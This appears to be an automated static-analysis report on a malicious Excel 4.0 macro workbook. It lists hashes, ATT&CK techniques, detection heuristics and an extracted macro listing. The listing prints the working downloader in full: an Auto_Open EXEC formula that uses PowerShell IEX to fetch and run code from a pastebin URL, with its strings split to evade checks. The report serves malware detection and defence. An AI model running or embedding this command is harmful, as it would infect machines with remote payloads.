Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 87146ae8db88ce1c…

MALICIOUS

Office (OLE)

26.0 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel First seen: 2020-09-15
MD5: 804eab8d138034c77708a124afef6bc0 SHA-1: 9ca67f5f5e4f181be3747e4833935069b5527e8a SHA-256: 87146ae8db88ce1c2b11c0b2896a95f7eeded4b21c88517619bbebbe39791a12
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment

This Excel 4.0 macro sheet contains an Auto_Open macro that executes a PowerShell command. The command is constructed by concatenating strings to form the URL 'https://pastebin.com/raw/fASw9wCZ' and then uses PowerShell's IEX to download and execute the content from that URL. This indicates a downloader functionality, likely intended to fetch and run a second-stage payload.

Heuristics 5

  • ClamAV: Xls.Downloader.Agent-9852322-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Agent-9852322-1
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LURE
    Document tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 584 bytes
SHA-256: c81ea55b882d81dc8354587133bd3cba03c543e7da0e0d3a5c2455f68eb9b0d6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Macro
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Macro!A1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Macro,A1,EXEC("p"&"owershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloAdsTrInG'('ht'+'tps://pastebin.com/raw/fASw9wCZ')"),""
'  Macro,A11,HALT(),""

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